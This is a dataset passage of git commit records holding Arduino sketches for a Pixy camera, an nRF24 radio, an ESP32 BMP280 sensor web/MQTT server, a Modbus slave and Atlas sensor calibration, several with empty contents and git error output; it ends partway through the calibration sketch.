example.ino","repos":"hpssjellis\/robotics-sensors","old_file":"sensors\/serial\/pixy\/example.ino","new_file":"sensors\/serial\/pixy\/example.ino","new_contents":"\/\/ By Jeremy Ellis\n\n\/\/ Note: Watch the RGB LED at startup.\n\/\/ If it quickly goes to breathing cyan, you have Wifi connectivity\n\/\/ If it takes 20 seconds to go to breathing cyan, then you have no Wifi connectivity but the Pixy should still work\n\nSYSTEM_MODE(SEMI_AUTOMATIC); \/\/ so that connectivity is not blocking\n\nint myConnect = 0; \/\/ means either connected or disconnected yet\n\n\n\nint myD7 = D7; \/\/ to test if wifi is working\n\n\n\/\/ #include \"SPI.h\" \/\/ got rid of this since it would not compile\n#include \"Pixy.h\"\n#include \"TPixy.h\"\n\n\n\/\/ Not sure how to flash new code so will not do this yet.\n\/\/SYSTEM_MODE(MANUAL); \/\/ Set the system mode to manual. We don't need the cloud for this code\n\n\nPixy pixy; \/\/ Create our pixy object\n\n\/\/ Setup - Runs Once @ Startup\nvoid setup() { \n\n pinMode(myD7, OUTPUT); \n Spark.connect(); \/\/attempt to connect to Wifi\n\n delay(20000); \/\/ wait 20 seconds at startup\n\n\n if (WiFi.ready()){ \n myConnect = 1; \/\/ means wifi got connected\n } else {\n Spark.disconnect(); \n WiFi.off();\n myConnect =2; \/\/ means no wifi cloud connectivity\n \/\/ digitalWrite(D7,HIGH); \/\/ D7 high says no wifi but spark working fine.\n } \n\n\n RGB.brightness(1); \/\/ 1=very low light, 255 = max\n\n Serial.begin(9600); \/\/ Initalize the USB Serial port\n pixy.init(); \/\/ Initalize the pixy object\n}\n\n\/\/ Loop - Runs over and over\nvoid loop(){ \n\n\n\n uint16_t blocks; \/\/ Create an unsigned int to hold the number of found blocks\n char buf[50]; \/\/ Create a buffer for printing over serial\n int myPixyInt, myWait, myWait2, i;\n\n blocks = pixy.getBlocks(); \/\/ Do the pixy stuff. Grab the numbers of blocks the pixy finds\n\n \/\/ If we have some blocks increment the frame counter (i) and if enough frames have passed print out data about the found blocks to the serial port\n if (blocks) {\n\n\n\n \/\/ for serial USB printing of the information every 25th loop\n\n \/*\n i++;\n if (i%25==0)\n {\n sprintf(buf, \"Detected %d:\\n\", blocks);\n Serial.print(buf);\n for (int j = 0; j < blocks; j++)\n {\n sprintf(buf, \"\\tblock %d:\", j);\n Serial.print(buf); \n pixy.blocks[j].print();\n Serial.println();\n }\n }\n\n *\/\n\n\n myPixyInt = pixy.blocks[0].x; \/\/ x location of the main object 0 - 320\n\n \/\/ myPixyInt = pixy.blocks[0].y;\n \/\/ myPixyInt = pixy.blocks[0].width;\n \/\/ myPixyInt = pixy.blocks[0].height;\n\n\n myWait = myPixyInt;\n \/\/ myWait = blocks * 3; \/\/ if you want to see how many objects Pixy has detected x 3\n\n if (myPixyInt <= 10) { \n digitalWrite(D7, LOW); \/\/ If Pixy sees nothing D7 LED off\n } \n\n\n if (myPixyInt > 10 && myPixyInt <= 100) { \/\/ Object on the far left, blink really fast\n digitalWrite(D7, HIGH); \n delay(5); \n digitalWrite(D7, LOW); \n delay(5);\n } \n\n\n if (myPixyInt > 100 && myPixyInt <= 200) { \/\/ Object on near middle, blink slow\n digitalWrite(D7, HIGH); \n delay(100); \n digitalWrite(D7, LOW); \n delay(100);\n } \n\n\n if (myPixyInt > 200 && myPixyInt <= 300) { \/\/ Object on Right, blink really slow\n digitalWrite(D7, HIGH); \n delay(1000); \n digitalWrite(D7, LOW); \n delay(1000);\n } \n\n\n if (myPixyInt > 300 ) { \/\/ Object on far right, leave LED on\n digitalWrite(D7, HIGH); \n } \n\n\n delay(5); \/\/ just for the heck of it slow things down a bit\n } \/\/ end blocks\n} \/\/ end loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensors\/serial\/pixy\/example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca87a1a1f0553852974c8fd0ecfee4a8b9be46a5","subject":"Initial commit. Bunches of #defines, and a lot to do.","message":"Initial commit. Bunches of #defines, and a lot to do.\n","repos":"ScottMansfield\/digispark_wireless","old_file":"digispark_wireless.ino","new_file":"digispark_wireless.ino","new_contents":"\n\/\/ MISO \/ DI \/ pin 0\n#define MISO_PIN 0\n\n\/\/ MOSI \/ DO \/ pin 1\n#define MOSI_PIN 1\n\n\/\/ SCLK \/ SCK \/ pin 2\n#define SCLK_PIN 2\n\n\/\/ CSN \/ pin3\n#define CSN_PIN 3\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ REGISTER MAPPINGS\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ TODO: Macros to set each multi-bit value... and move the whole thing into a header file\n\/\/ TODO: Macros to set a single bit to a value\n\n#define CONFIG 0x00\n#define MASK_RX_DR 6\n#define MASK_TX_DS 5\n#define MASK_MAX_RT 4\n#define EN_CRC 3\n#define CRCO 2\n#define PWR_UP 1\n#define PRIM_RX 0\n\n#define EN_AA 0x01\n#define ENAA_P5 5\n#define ENAA_P4 4\n#define ENAA_P3 3\n#define ENAA_P2 2\n#define ENAA_P1 1\n#define ENAA_P0 0\n\n#define EN_RXADDR 0x02\n#define ERX_P5 5\n#define ERX_P4 4\n#define ERX_P3 3\n#define ERX_P2 2\n#define ERX_P1 1\n#define ERX_P0 0\n\n#define SETUP_AW 0x03\n\n#define SETUP_RETR 0x04\n\n#define RF_CH 0x05\n\n#define RF_SETUP 0x06\n#define CONT_WAVE 7\n#define RF_DR_LOW 5\n#define PLL_LOCK 4\n#define RF_DR_HIGH 3\n#define RF_PWR 2\n\n#define STATUS 0x07\n#define RX_DR 6\n#define TX_DS 5\n#define MAX_RT 4\n#define TX_FULL 0\n\n#define OBSERVE_TX 0x08\n\n#define RPD 0x09\n\n#define RX_ADDR_P0 0x0A\n#define RX_ADDR_P1 0x0B\n#define RX_ADDR_P2 0x0C\n#define RX_ADDR_P3 0x0D\n#define RX_ADDR_P4 0x0E\n#define RX_ADDR_P5 0x0F\n\n#define TX_ADDR 0x10\n\n#define RX_PW_P0 0x11\n#define RX_PW_P1 0x12\n#define RX_PW_P2 0x13\n#define RX_PW_P3 0x14\n#define RX_PW_P4 0x15\n#define RX_PW_P5 0x16\n\n#define FIFO_STATUS 0x17\n#define TX_REUSE 6\n#define TX_FULL 5\n#define TX_EMPTY 4\n#define RX_FULL 1\n#define RX_EMPTY 0\n\n#define DYNPD 0x1C\n#define DPL_5 5\n#define DPL_4 4\n#define DPL_3 3\n#define DPL_2 2\n#define DPL_1 1\n#define DPL_0 0\n\n#define FEATURE 0x1D\n#define EN_DPL 2\n#define EN_ACK_PAY 1\n#define EN_DYN_ACK 0\n\n\/\/ SPI transfer, MSB first\nuint8_t spi_transfer(uint8_t data)\n{\n USIDR = data;\n USISR = _BV(USIOIF); \/\/ clear flag\n\n while ((USISR & _BV(USIOIF)) == 0)\n {\n USICR = (1<<USIWM0)|(1<<USICS1)|(1<<USICLK)|(1<<USITC);\n }\n \n return USIDR;\n}\n\nvoid setup()\n{\n pinMode(MISO_PIN, INPUT);\n pinMode(MOSI_PIN, OUTPUT);\n pinMode(SCLK_PIN, OUTPUT);\n pinMode(CSN_PIN, OUTPUT);\n \n \/\/ Wait 100 milliseconds for the NRF24 to warm up\n delay(100);\n}\n\nvoid loop()\n{\n \/\/ lol\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'digispark_wireless.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3863ee92b22d6c41da8e6445cc06bce707d135f8","subject":"Initial sketch","message":"Initial sketch\n","repos":"bastelgarage\/ambient_sensor","old_file":"ambient-sensor-hack\/simple-ambient-sensor-bmp280\/simple-ambient-sensor-bmp280.ino","new_file":"ambient-sensor-hack\/simple-ambient-sensor-bmp280\/simple-ambient-sensor-bmp280.ino","new_contents":"#include <WiFi.h>\n#include \"BMP280.h\"\n#include <PubSubClient.h>\n\n\/\/ Links to external libaries\n\/\/ https:\/\/github.com\/mahfuz195\/BMP280-Arduino-Library\n\n\/\/ Device name\nString device_name = \"ambient-sensor-simple\";\n\n\/\/ WLAN settings\nconst char* ssid = \"\";\nconst char* password = \"\";\n\n\/\/ 0: only Web server\n\/\/ 1: Thingspeak\n\/\/ 2: MQTT\n\/\/ 3: Only serial output\nint output = 3;\n\n\/\/ MQTT settings\n\/\/ If you want to use Thingspeak set mqtt_broker to \"mqtt.thingspeak.com\"\n\/\/const char* mqtt_broker = \"\";\nconst char* mqtt_broker = \"mqtt.thingspeak.com\";\n\/\/ Not needed for Thingspeak\nconst char* mqtt_username = \"\";\nconst char* mqtt_password = \"\";\nint mqtt_port = 1883; \/\/ This is the default port for MQTT\n\n\/\/ ThingSpeak settings\n\/\/ Replace <YOUR-CHANNEL-ID> with your channel ID and <YOUR-CHANNEL-WRITEAPIKEY>\n\/\/ with your write API key\nconst char* thingspeak_topic = \"channels\/<YOUR-CHANNEL-ID>\/publish\/<YOUR-CHANNEL-WRITEAPIKEY>\/\";\n\n\n\/\/ Pin for an additional LED\nint led_pin = 2;\n\n\/\/ Interval for sending MQTT messages in milliseconds\nint interval = 60000;\n\n\/\/ Interval to force the sending of MQTT messages\nint force_interval = 300000;\n\n\/\/ Default MQTT topics (not needed for Thingspeak)\nString temperature_topic = device_name + \"\/temperature\";\nString hall_topic = device_name + \"\/hall\";\nString pressure_topic = device_name + \"\/pressure\";\nString led_topic = device_name + \"\/led\";\nString led_topic_set = device_name + \"\/led\/set\";\n\nuint64_t chipid;\n\n\/\/ Variables (no need to change)\ndouble temperature = 0;\ndouble pressure = 0;\nfloat hall = 0.0;\nfloat diff_temperature = 0.5;\nfloat diff_pressure = 1.0;\nfloat diff_hall = 2.0;\nlong lastMsg = 0;\nlong lastForceMsg = 0;\nbool forceMsg = false;\nfloat old_temperature = 0.0;\nfloat old_pressure = 0.0;\nfloat old_hall = 0.0;\n\n\/\/ Current WLAN status\nint status = WL_IDLE_STATUS;\n\nWiFiClient espClient;\nPubSubClient mqtt_client(espClient);\n\nWiFiServer server(80);\nBMP280 bmp;\n\n\/\/ IP to String\nString toStringIp(IPAddress ip) {\n String res = \"\";\n for (int i = 0; i < 3; i++) {\n res += String((ip >> (8 * i)) & 0xFF) + \".\";\n }\n res += String(((ip >> 8 * 3)) & 0xFF);\n return res;\n}\n\n\/\/ Check it a value changed more than the given value\nbool checkBound(float newValue, float prevValue, float maxDiff) {\n return newValue < prevValue - maxDiff || newValue > prevValue + maxDiff;\n}\n\n\/\/ https:\/\/stackoverflow.com\/questions\/9072320\/split-string-into-string-array\nString splitString(String data, char separator, int index) {\n int found = 0;\n int strIndex[] = {0, -1};\n int maxIndex = data.length() - 1;\n\n for (int i = 0; i <= maxIndex && found <= index; i++) {\n if (data.charAt(i) == separator || i == maxIndex) {\n found++;\n strIndex[0] = strIndex[1] + 1;\n strIndex[1] = (i == maxIndex) ? i + 1 : i;\n }\n }\n return found > index ? data.substring(strIndex[0], strIndex[1]) : \"\";\n}\n\n\/\/ Callback for the MQTT messages\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n if ((char)payload[0] == '1') {\n digitalWrite(led_pin, LOW);\n } else {\n digitalWrite(led_pin, HIGH);\n }\n}\n\nvoid reconnect() {\n \/\/ Loop until the device is reconnected\n while (!mqtt_client.connected()) {\n Serial.print(\"MQTT broker: \");\n Serial.println(mqtt_broker);\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect with a random Client ID\n if (mqtt_client.connect((device_name + random(1000)).c_str())) {\n Serial.println(\"connected\");\n if (output == 2) {\n \/\/ Once connected, publish an announcement...\n mqtt_client.publish(device_name.c_str(), \"connected\");\n \/\/ Subscribe to topic for setting the state of the LED\n mqtt_client.subscribe(led_topic_set.c_str());\n }\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(mqtt_client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid setup() {\n \/\/ Set up the Serial Monitor\n Serial.begin(115200);\n pinMode(led_pin, OUTPUT);\n delay(10);\n\n chipid = ESP.getEfuseMac();\n\n while (!bmp.begin()) {\n Serial.println(\"Could not find BMP280 sensor on the I2C bus\");\n while(1);\n }\n\n if (output != 3) {\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n \/\/ Start HTTP server\n server.begin();\n Serial.println(\"Web server started\");\n }\n\n \/\/ Setup the MQTT client\n if (output == 1 || output == 2) {\n mqtt_client.setServer(mqtt_broker, mqtt_port);\n }\n \/\/ Callback is not needed for Thingspeak\n if (output == 2) {\n mqtt_client.setCallback(callback);\n }\n}\n\nvoid loop() {\n \/\/ Read values from sensor\n char values = bmp.startMeasurment();\n\n if (values != 0 && output == 3) {\n delay(values);\n values = bmp.getTemperatureAndPressure(temperature, pressure);\n\n if (values != 0) {\n Serial.print(\"Temperature = \\t\");\n Serial.print(temperature, 2);\n Serial.println(\" degC\");\n Serial.print(\"Pressure = \\t\");\n Serial.print(pressure, 2);\n Serial.println(\" mBar\");\n delay(2000);\n }\n } else {\n Serial.println(\"Error reading values from sensor\");\n }\n\n hall = hallRead();\n\n if (output != 3) {\n WiFiClient client = server.available(); \/\/ Listen for incoming client requests\n if (client) { \/\/ If you get a client,\n while (client.connected()) { \/\/ Loop while the client's connected\n if (client.available()) { \/\/ If there's bytes to read from the client,\n String request = client.readString(); \/\/ Read client request\n Serial.println(\"-- Complete HTTP method -------------------------------\");\n Serial.println(request);\n Serial.println(\"-- HTTP method -------------------------------\");\n String method = splitString(request, '\\r', 0);\n Serial.println(method);\n Serial.println(\"-- POST data -------------------------------\");\n String post_data = splitString(request, '\\r\\n\\n', 7);\n Serial.println(post_data);\n Serial.println();\n client.flush();\n\n if (method.equals(\"GET \/favicon.ico HTTP\/1.1\")) {\n Serial.println(\"Get the favicon.ico\");\n }\n\n else if (method.equals(\"GET \/ HTTP\/1.1\")) {\n Serial.println(\"Request for \/\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-type:text\/html\");\n client.println();\n client.println(\"<!DOCTYPE HTML><html><head><meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\");\n client.println(\"<\/head><body style='font-family: Verdana,Geneva,sans-serif;'><center>\");\n client.println(\"<p><b><a href='\/'>Ambient Sensor<\/a><\/b> | <a href='\/api'>RESTful API<\/a><\/p>\");\n client.println(\"<h1>Overview<\/h1><p>\");\n\n \/\/ Device details\n client.println(\"<table><tr><th align='left'>Device<\/th><\/tr>\");\n client.println(String(\"<tr><td>Device name:<\/td><td>\") + device_name + \"<\/td><\/tr>\");\n client.print(\"<tr><td>Chip ID:<\/td><td>\");\n client.printf(\"%04X\", (uint16_t)(chipid >> 32));\n client.printf(\"%08X\\n\", (uint32_t)chipid);\n client.println(\"<\/td><\/tr>\");\n client.println(\"<tr><td>Restart:<\/td><td><a href=\\\"\/api\/device\/reboot\\\">yes<\/a><\/td><\/tr>\");\n \/\/client.println(String(\"<tr><td>Uptime<\/td><td>\") + timeClient.getFormattedTime() + \"<\/td><\/tr>\");\n client.println(\"<\/table>\");\n client.println(\"<br \/>\");\n\n \/\/ Sensor values\n client.println(\"<table><tr><th align='left'>Sensors<\/th><\/tr>\");\n client.println(String(\"<tr><td>Temperature:<\/td><td>\") + temperature + \" C<\/td><\/tr>\");\n client.println(String(\"<tr><td>Pressure:<\/td><td>\") + pressure + \" hPa<\/td><\/tr>\");\n client.println(String(\"<tr><td>Hall:<\/td><td>\") + hall + \"<\/td><\/tr>\");\n \/\/client.println(String(\"<tr><td>xxxx<\/td><td>xxx<\/td><\/tr>\");\n client.println(\"<\/table>\");\n client.println(\"<br \/>\");\n\n \/\/ the content of the HTTP response follows the header:\n client.print(String(\"<b>LED<\/b> (Pin \") + led_pin + \"): \");\n if (digitalRead(led_pin) == HIGH) {\n client.print(\"on\");\n } else {\n client.print(\"off\");\n }\n client.println(\" (Turn <a href=\\\"\/api\/led\/on\\\">on<\/a> or <a href=\\\"\/api\/led\/off\\\">off<\/a>)\");\n client.println(\"<br \/>\");\n\n client.println(\"<hr>\");\n client.println(\"<p>More sensors, actuators, and kits are available in the online shop of <a href='https:\/\/www.bastelgarage.ch'>Bastelgarage.ch<\/a>.<\/p>\");\n client.println(\"<\/center><\/body><\/html>\");\n \/\/ The HTTP response ends with another blank line:\n client.println();\n \/\/ break out of the while loop:\n client.stop();\n }\n \/\/ RESTful API section\n else if (method.equals(\"GET \/api HTTP\/1.1\")) {\n Serial.println(\"Request for \/api\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-type:text\/html\");\n client.println();\n client.println(\"<!DOCTYPE HTML><html><head><meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\");\n client.println(\"<\/head><body style='font-family: Verdana,Geneva,sans-serif;'><center>\");\n client.println(\"<p><b><a href='\/'>Ambient Sensor<\/a><\/b> | <a href='\/api'>RESTful API<\/a><\/p>\");\n client.println(\"<h1>RESTful API<\/h1><p>\");\n client.println(\"<p>The RESTful API let you integrate your Measuring Box in your own home automation system or into third-party tools.<\/p>\");\n client.println(\"<br \/>\");\n\n \/\/ API end points\n client.println(\"<table><tr><th align='left'>End points<\/th><th align='left'>URL<\/th><\/tr>\");\n client.println(\"<tr><td>All values:<\/td><td><a href=\\\"api\/states\\\">api\/states<\/a><\/td><\/tr>\");\n client.println(\"<tr><td>Temperature:<\/td><td><a href=\\\"api\/temperature\\\">api\/temperature<\/a><\/td><\/tr>\");\n client.println(\"<tr><td>Pressure:<\/td><td><a href=\\\"api\/pressure\\\">api\/pressure<\/a><\/td><\/tr>\");\n client.println(\"<tr><td>Hall:<\/td><td><a href=\\\"api\/hall\\\">api\/hall<\/a><\/td><\/tr>\");\n client.println(\"<tr><td>LED:<\/td><td><a href=\\\"api\/led\\\">api\/led<\/a><\/td><\/tr>\");\n \/\/ client.println(\"<tr><td>xxxx<\/td><td>xxx<\/td><\/tr>\");\n client.println(\"<\/table>\");\n client.println(\"<br \/>\");\n client.println(\"<p>The states can be retrieved by HTTP GET requests. For the temperature the command-line tool <code>curl<\/code> could be used.<\/p>\");\n client.println(String(\"<p>eg. <code>$ curl \") + toStringIp(WiFi.localIP()) + \"\/api\/temperature<\/code><\/p>\");\n client.println(\"<p>To change the state of the LED, issue a HTTP POST requests.\");\n client.println(\"As browsers usualy don't support POST requests, GET requests are available to <code>\/api\/led\/on<\/code> to switch the LED on and <code>api\/led\/off<\/code> to switch it off.<\/p>\");\n\n client.println(String(\"<p>eg. <code>$ curl -d \\\"{'state': 1}\\\" \") + toStringIp(WiFi.localIP()) + \"\/api\/led<\/code><\/p>\");\n client.println(\"<\/center><\/body><\/html>\");\n }\n\n else if (method.equals(\"GET \/api\/led HTTP\/1.1\")) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"state\\\": \");\n if (digitalRead(led_pin) == HIGH) {\n client.print(1);\n } else {\n client.print(0);\n }\n client.println(\"}\");\n client.stop();\n }\n else if (method.equals(\"POST \/api\/led HTTP\/1.1\")) {\n char value = post_data.charAt(10);\n if (value == '1') {\n Serial.println(\"Switch on LED\");\n digitalWrite(led_pin, HIGH);\n } else {\n Serial.println(\"Switch off LED\");\n digitalWrite(led_pin, LOW);\n }\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"state\\\": \");\n if (digitalRead(led_pin) == HIGH) {\n client.print(1);\n } else {\n client.print(0);\n }\n client.println(\"}\");\n client.stop();\n }\n \/\/ Brosers don't do POST requests\n else if (method.equals(\"GET \/api\/led\/on HTTP\/1.1\")) {\n Serial.println(\"Switch on LED\");\n digitalWrite(led_pin, HIGH);\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(\"{\\\"state\\\": 1}\");\n client.println();\n client.stop();\n }\n else if (method.equals(\"GET \/api\/led\/off HTTP\/1.1\")) {\n Serial.println(\"Switch off LED\");\n digitalWrite(led_pin, LOW);\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(\"{\\\"state\\\": 0}\");\n client.println();\n client.stop();\n }\n else if (method.equals(\"GET \/api\/states HTTP\/1.1\")) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n\n client.print(\"{\");\n client.println(String(\"\\\"device\\\":\\\"\") + device_name + \"\\\",\");\n\n client.println(\"\\\"states\\\": {\");\n client.println(String(\"\\\"temperature\\\":\") + temperature + \",\");\n client.println(String(\"\\\"pressure\\\":\") + pressure + \",\");\n client.println(String(\"\\\"hall\\\":\") + hall + \",\");\n client.println(String(\"\\\"led\\\":\") + digitalRead(led_pin));\n client.print(\"}}\");\n client.println();\n client.stop();\n }\n else if (method.equals(\"GET \/api\/hall HTTP\/1.1\")) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(String(\"{\\\"value\\\":\") + hallRead() + \"}\");\n client.println();\n client.stop();\n }\n else if (method.equals(\"GET \/api\/temperature HTTP\/1.1\")) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(String(\"{\\\"value\\\":\") + pressure + \"}\");\n client.println();\n client.stop();\n }\n else if (method.equals(\"GET \/api\/pressure HTTP\/1.1\")) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(String(\"{\\\"value\\\":\") + pressure + \"}\");\n client.println();\n client.stop();\n }\n \/\/ Browser don't do HTTP POST requests\n else if ((method.equals(\"POST \/api\/device\/reboot HTTP\/1.1\")) or (method.equals(\"GET \/api\/device\/reboot HTTP\/1.1\"))) {\n Serial.println(\"rebooting...\");\n ESP.restart();\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.println(\"{\\\"state\\\": \\\"rebooting\\\"}\");\n client.stop();\n }\n else {\n client.println(\"HTTP\/1.1 404 OK\");\n client.println(\"Content-type:text\/html\");\n client.println();\n client.println(\"<!DOCTYPE HTML><html><head><meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\");\n client.println(\"<\/head><body style='font-family: Verdana,Geneva,sans-serif;'><center>\");\n client.println(\"<p><b><a href='\/'>Ambient sensor<\/a><\/b> | <a href='\/api'>RESTful API<\/a><\/p>\");\n client.println(\"<h1>Page not available<\/h1><p>\");\n client.println(\"<\/center><\/body><\/html>\");\n client.println();\n client.stop();\n }\n client.stop();\n }\n }\n \/\/ Close the connection\n client.stop();\n \/\/Serial.println(\"Client disonnected\");\n }\n }\n \/\/ MQTT\n if (output == 1 || output == 2) {\n if (!mqtt_client.connected()) {\n reconnect();\n }\n mqtt_client.loop();\n }\n long now = millis();\n if (now - lastMsg > interval) {\n lastMsg = now;\n \/\/ MQTT broker could go away and come back at any timeso doing a forced publish to\n \/\/ make sure something shows up within the first 5 minutes after a reset\n if (now - lastForceMsg > force_interval) {\n lastForceMsg = now;\n forceMsg = true;\n Serial.println(\"Forcing publish every 5 minutes...\");\n }\n\n \/\/ Sending data to Thingspeak\n if (output == 1) {\n String data = String(\"field1=\" + String(temperature, 2) + \"&field2=\" + String(pressure, 2));\n \/\/ Get the data string length\n int length = data.length();\n char msgBuffer[length + 1];\n \/\/ Convert data string to character buffer\n data.toCharArray(msgBuffer, length + 1);\n Serial.println(msgBuffer);\n mqtt_client.publish(thingspeak_topic, msgBuffer);\n }\n\n \/\/ Sending MQTT messages\n if (output == 2) {\n if (checkBound(temperature, old_temperature, diff_temperature) || forceMsg) {\n old_temperature = temperature;\n mqtt_client.publish(temperature_topic.c_str(), String(old_temperature).c_str(), true);\n }\n if (checkBound(pressure, old_pressure, diff_pressure) || forceMsg) {\n old_pressure = pressure;\n mqtt_client.publish(pressure_topic.c_str(), String(old_pressure).c_str(), true);\n }\n }\n forceMsg = false;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ambient-sensor-hack\/simple-ambient-sensor-bmp280\/simple-ambient-sensor-bmp280.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d9bc3eef66c7e2801dc42eeb60612ef77845b0f7","subject":"Added files via upload","message":"Added files via upload","repos":"smarmengol\/Modbus-Master-Slave-for-Arduino","old_file":"examples\/simple_slave\/simple_slave2.ino","new_file":"examples\/simple_slave\/simple_slave2.ino","new_contents":"\/**\n * Modbus slave example 2:\n * The purpose of this example is to link a data array\n * from the Arduino to an external device.\n *\n * Recommended Modbus Master: modpoll\n * http:\/\/www.modbusdriver.com\/modpoll.html\n *\/\n\n#include <ModbusRtu.h>\n\n\/\/ data array for modbus network sharing\nuint16_t au16data[16] = {\n 3, 1415, 9265, 4, 2, 7182, 28182, 8, 0, 0, 0, 0, 0, 0, 1, -1 };\n\n\/**\n * Modbus object declaration\n * u8id : node id = 0 for master, = 1..247 for slave\n * u8serno : serial port (use 0 for Serial)\n * u8txenpin : 0 for RS-232 and USB-FTDI \n * or any pin number > 1 for RS-485\n *\/\nModbus slave(1,0,0); \/\/ this is slave @1 and RS-232 or USB-FTDI\n\nvoid setup() {\n slave.begin( 19200, SERIAL_8E1 ); \/\/ 19200 baud, 8-bits, even, 1-bit stop\n}\n\nvoid loop() {\n slave.poll( au16data, 16 );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/simple_slave\/simple_slave2.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"25da24b2b0329abe1fd4d7e7a7678cbb4d8e4901","subject":"initialized test cards","message":"initialized test cards\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60fd9ec0b8fb8c44020c8822897c01a6e73cc458","subject":"configured writer to initialize card with 0 time","message":"configured writer to initialize card with 0 time\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3f4f0e998f2db92c3efd740a067f3fde0ae25ab8","subject":"Thermistor set up fix","message":"Thermistor set up fix\n","repos":"tylergrreid\/BRIC_II,tylergrreid\/BRIC_II,tylergrreid\/BRIC_II","old_file":"BRIC_II\/BRIC_II.ino","new_file":"BRIC_II\/BRIC_II.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/BRIC_II.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0463a042c3b50275cac5aa85ccf7d6becc1df3d8","subject":"how to calibrate the sensors","message":"how to calibrate the sensors\n","repos":"linsalrob\/AtlasSensors,linsalrob\/AtlasSensors","old_file":"Arduino\/CalibrateSensors\/CalibrateSensors.ino","new_file":"Arduino\/CalibrateSensors\/CalibrateSensors.ino","new_contents":"\n\/********************************************************\n * This is our header information from other code\n * \n * Current Device IDs:\n * 0x68 RTC Adafruit DS1307 https:\/\/www.adafruit.com\/products\/264\n * \t\n * \t0x61 DO sensor http:\/\/atlas-scientific.com\/product_pages\/circuits\/ezo_do.html?\n * \t0x62 ORP sensor http:\/\/atlas-scientific.com\/product_pages\/circuits\/ezo_orp.html?\n * \t0x63 pH sensor http:\/\/atlas-scientific.com\/product_pages\/circuits\/ezo_ph.html\n * \t0x64 Conductivity (EC) Sensor http:\/\/atlas-scientific.com\/product_pages\/circuits\/ezo_ec.html?\n * \n * The EC probe measures Electrical Conductivity (EC), Total Dissolved Solids (TDS), Salinity and Specific Gravity (SG) of sea water\n * \n ********************************************************\/\n\n\/************************\n * Libraries that we need and global variables\n * \n ***************************\/\n\n#include <Wire.h>\n#include \"RTClib.h\"\n#include <SPI.h>\n#include <SD.h>\n\nRTC_DS1307 rtc;\n\n\/\/ real time clock\nconst int rtc_address = 0x68;\n\/\/ the atlas addresses\n\nint doProbe = 0x61;\nint orpProbe = 0x62;\nint phProbe = 0x63;\nint ecProbe = 0x64;\n\n\/\/ variable 